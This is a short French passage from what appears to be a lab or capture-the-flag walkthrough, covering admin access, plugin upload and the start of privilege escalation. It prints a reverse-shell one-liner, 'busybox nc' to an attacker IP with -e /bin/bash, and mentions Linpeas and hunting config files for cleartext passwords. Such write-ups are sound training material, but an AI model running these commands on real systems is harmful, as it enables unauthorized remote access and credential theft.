Nous sommes bien administrator. Nous allons tenter d'obtenir un reverse shell.

Accès initial

Nous allons nous connecter puis aller dans Plugin pour upload le fichier .jar que nous avons téléchargé précédemment sur git. On suit encore les mêmes indicatons, nous allons dans les settings puis Management Tool, et nous rentrons le mot de passe 123. On peut exécuter des commandes dans "system command".

Buzybox fonctionne

busybox nc 192.168.45.189 9091 -e /bin/bash

Elévation des privilèges

En lancant Linpeas rien ne nous saute aux yeux. Nous allons chercher à énumérer les fichiers de configurations afin de trouver un mot de passe en clair.
